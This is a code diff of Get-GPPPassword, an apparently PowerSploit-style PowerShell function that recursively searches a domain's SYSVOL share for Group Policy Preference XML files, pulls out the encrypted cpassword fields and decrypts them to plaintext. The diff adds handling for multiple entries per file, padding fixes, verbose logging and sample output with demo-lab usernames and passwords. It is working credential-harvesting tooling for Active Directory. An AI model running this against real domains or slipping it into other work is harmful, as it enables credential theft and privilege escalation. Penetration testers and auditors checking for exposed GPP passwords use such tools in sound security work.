@@ -9,14 +9,39 @@ function Get-GPPPassword {
9
9
License: BSD 3-Clause
10
10
Required Dependencies: None
11
11
Optional Dependencies: None
12
+ Version: 2.3.0
12
13
13
14
. DESCRIPTION
14
15
15
16
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
16
17
17
18
. EXAMPLE
18
19
19
- Get-GPPPassword
20
+ PS C:\> Get-GPPPassword
21
+
22
+ Password : {password12}
23
+ Changed : {2014-02-21 05:28:53}
24
+ UserName : {test1}
25
+ NewName : {}
26
+ File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources
27
+
28
+ Password : {Recycling*3ftw!, password123, password1234}
29
+ Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
30
+ UserName : {Administrator (built-in), DummyAccount, dummy2}
31
+ NewName : {mspresenters, $null, $null}
32
+ File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
33
+
34
+ Password : {password, password1234$}
35
+ Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
36
+ UserName : {administrator, admin}
37
+ NewName : {}
38
+ File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks
39
+
40
+ Password : {password, read123}
41
+ Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
42
+ UserName : {DEMO\Administrator, admin}
43
+ NewName : {}
44
+ File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services
20
45
21
46
. LINK
22
47
@@ -31,14 +56,20 @@ function Get-GPPPassword {
31
56
32
57
# define helper function that decodes and decrypts password
33
58
function Get-DecryptedCpassword {
59
+ [CmdletBinding ()]
34
60
Param (
35
61
[string ] $Cpassword
36
62
)
37
63
38
64
try {
39
65
# Append appropriate padding based on string length
40
66
$Mod = ($Cpassword.length % 4 )
41
- if ($Mod -ne 0 ) {$Cpassword += (' =' * (4 - $Mod ))}
67
+
68
+ switch ($Mod ) {
69
+ ' 1' {$Cpassword = $Cpassword.Substring (0 , $Cpassword.Length -1 )}
70
+ ' 2' {$Cpassword += (' =' * (4 - $Mod ))}
71
+ ' 3' {$Cpassword += (' =' * (4 - $Mod ))}
72
+ }
42
73
43
74
$Base64Decoded = [Convert ]::FromBase64String($Cpassword )
44
75
@@ -60,79 +91,130 @@ function Get-GPPPassword {
60
91
catch {Write-Error $Error [0 ]}
61
92
}
62
93
63
- # ensure that machine is domain joined and script is running as a domain account
64
- if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env: USERDNSDOMAIN ) )
65
- {
66
- throw ' Machine is not joined to a domain.'
67
- }
68
-
69
- # discover potential files containing passwords ; not complaining in case of denied access to a directory
70
- $XMlFiles = Get-ChildItem - Path " \\$Env: USERDNSDOMAIN \SYSVOL" - Recurse - ErrorAction SilentlyContinue - Include ' Groups.xml' , ' Services.xml' , ' Scheduledtasks.xml' , ' DataSources.xml'
94
+ # define helper function to parse fields from xml files
95
+ function Get-GPPInnerFields {
96
+ [CmdletBinding ()]
97
+ Param (
98
+ $File
99
+ )
71
100
72
- if ( -not $XMlFiles )
73
- {
74
- throw ' No files containing encrypted passwords found.'
75
- }
76
-
77
- foreach ($File in $XMLFiles ) {
78
-
79
101
try {
80
- $Filename = $File .Name
81
- $Filepath = $File.VersionInfo.FileName
82
-
83
- # put filename in $XmlFile
102
+
103
+ # $FileObject = Get-ChildItem $File
104
+ $Filename = Split-Path $File - Leaf
105
+ $Filepath = Split-Path $File - Parent
84
106
[xml ] $Xml = Get-Content ($File )
85
107
86
- # declare blank variables
87
- $Cpassword = ' '
88
- $UserName = ' '
89
- $NewName = ' '
90
- $Changed = ' '
91
- $Password = ' '
108
+ # declare empty arrays
109
+ $Cpassword = @ ()
110
+ $UserName = @ ()
111
+ $NewName = @ ()
112
+ $Changed = @ ()
113
+ $Password = @ ()
92
114
93
- switch ($Filename ) {
115
+ # check for password field
116
+ if ($Xml.innerxml -like " *cpassword*" ){
117
+
118
+ Write-Verbose " Potential password in $File "
119
+
120
+ switch ($Filename ) {
94
121
95
- ' Groups.xml' {
96
- $Cpassword = $Xml.Groups.User.Properties.cpassword
97
- $UserName = $Xml.Groups.User.Properties.userName
98
- $NewName = $Xml.Groups.User.Properties.newName
99
- $Changed = $Xml.Groups.User.changed
100
- }
122
+ ' Groups.xml' {
123
+ $Count = $Xml.Groups.User.Count
124
+ If (! ($Count )) {$Count = 1 }
125
+ ForEach ($Number in 0 .. ($Count - 1 )){
126
+ If ($Count -eq 1 ) {$Replace = ' User' } else {$Replace = " User[$Number ]" }
127
+ $Cpassword += , $Xml.Groups.User [$Number ].Properties.cpassword
128
+ $UserName += , $Xml.Groups.User [$Number ].Properties.userName
129
+ $NewName += , $Xml.Groups.User [$Number ].Properties.newName
130
+ $Changed += , $Xml.Groups.User [$Number ].changed
131
+ }
132
+ }
101
133
102
- ' Services.xml' {
103
- $Cpassword = $Xml.NTServices.NTService.Properties.cpassword
104
- $UserName = $Xml.NTServices.NTService.Properties.accountName
105
- $Changed = $Xml.NTServices.NTService.changed
106
- }
134
+ ' Services.xml' {
135
+ $Count = $Xml.NTServices.NTService.Count
136
+ If (! ($Count )) {$Count = 1 }
137
+ ForEach ($Number in 0 .. ($Count - 1 )){
138
+ If ($Count -eq 1 ) {$Replace = ' NTService' } else {$Replace = " NTService[$Number ]" }
139
+ $Cpassword += , $Xml.NTServices.NTService [$Number ].Properties.cpassword
140
+ $UserName += , $Xml.NTServices.NTService [$Number ].Properties.accountName
141
+ $Changed += , $Xml.NTServices.NTService [$Number ].changed
142
+ }
143
+ }
107
144
108
- ' Scheduledtasks.xml' {
109
- $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
110
- $UserName = $Xml.ScheduledTasks.Task.Properties.runAs
111
- $Changed = $Xml.ScheduledTasks.Task.changed
112
- }
145
+ ' Scheduledtasks.xml' {
146
+ $Count = $Xml.ScheduledTasks.Task.Count
147
+ If (! ($Count )) {$Count = 1 }
148
+ ForEach ($Number in 0 .. ($Count - 1 )){
149
+ If ($Count -eq 1 ) {$Replace = ' Task' } else {$Replace = " Task[$Number ]" }
150
+ $Cpassword += , $Xml.ScheduledTasks.Task [$Number ].Properties.cpassword
151
+ $UserName += , $Xml.ScheduledTasks.Task [$Number ].Properties.runAs
152
+ $Changed += , $Xml.ScheduledTasks.Task [$Number ].changed
153
+ }
154
+ }
113
155
114
- ' DataSources.xml' {
115
- $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
116
- $UserName = $Xml.DataSources.DataSource.Properties.username
117
- $Changed = $Xml.DataSources.DataSource.changed
156
+ ' DataSources.xml' {
157
+ $Count = $Xml.DataSources.DataSource.Count
158
+ If (! ($Count )) {$Count = 1 }
159
+ ForEach ($Number in 0 .. ($Count - 1 )){
160
+ If ($Count -eq 1 ) {$Replace = ' DataSource' } else {$Replace = " DataSource[$Number ]" }
161
+ $Cpassword += , $Xml.DataSources .$Replace.Properties.cpassword
162
+ $UserName += , $Xml.DataSources .$Replace.Properties.username
163
+ $Changed += , $Xml.DataSources .$Replace.changed
164
+ }
165
+ }
118
166
}
119
167
}
120
-
121
- if ($Cpassword ) {$Password = Get-DecryptedCpassword $Cpassword }
122
-
123
- else {Write-Verbose " No encrypted passwords found in $Filepath " }
124
-
168
+
169
+ foreach ($Pass in $Cpassword ) {
170
+ Write-Verbose " Decrypting $Pass "
171
+ $DecryptedPassword = Get-DecryptedCpassword $Pass
172
+ Write-Verbose " Decrypted a password of $DecryptedPassword "
173
+ # append any new passwords to array
174
+ $Password += , $DecryptedPassword
175
+ }
176
+
125
177
# Create custom object to output results
126
- $ObjectProperties = @ {' Password ' = $Password ;
127
- ' UserName ' = $UserName ;
178
+ $ObjectProperties = @ {' Passwords ' = $Password ;
179
+ ' UserNames ' = $UserName ;
128
180
' Changed' = $Changed ;
129
- ' NewName' = $NewName
181
+ ' NewName' = $NewName ;
130
182
' File' = $Filepath }
131
183
132
184
$ResultsObject = New-Object - TypeName PSObject - Property $ObjectProperties
133
- Write-Output $ResultsObject
185
+ Write-Verbose " The password is between {} and may be more than one value."
186
+ Return $ResultsObject
187
+
188
+ }
189
+
190
+ catch {Write-Error $Error [0 ]}
191
+
192
+ }
193
+
194
+ try {
195
+ # ensure that machine is domain joined and script is running as a domain account
196
+ if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env: USERDNSDOMAIN ) )
197
+ {
198
+ throw ' Machine is not a domain member or User is not a member of the domain.'
199
+ }
200
+
201
+ # discover potential files containing passwords ; not complaining in case of denied access to a directory
202
+ Write-Verbose ' Searching the DC. This could take a while.'
203
+ $XMlFiles = Get-ChildItem - Path " \\$Env: USERDNSDOMAIN \SYSVOL" - Recurse - ErrorAction SilentlyContinue - Include ' Groups.xml' , ' Services.xml' , ' Scheduledtasks.xml' , ' DataSources.xml'
204
+
205
+ if ( -not $XMlFiles )
206
+ {
207
+ throw ' No preference files found.'
134
208
}
209
+
210
+ Write-Verbose " Found $ ( $XMLFiles.Count ) files that could contain passwords."
211
+
212
+ foreach ($File in $XMLFiles ) {
135
213
136
- catch {Write-Error $Error [0 ]}
214
+ $Result = (Get-GppInnerFields $File.Fullname )
215
+ Write-Output $Result
216
+ }
137
217
}
138
- }
218
+
219
+ catch {Write-Error $Error [0 ]}
220
+ }
0 commit comments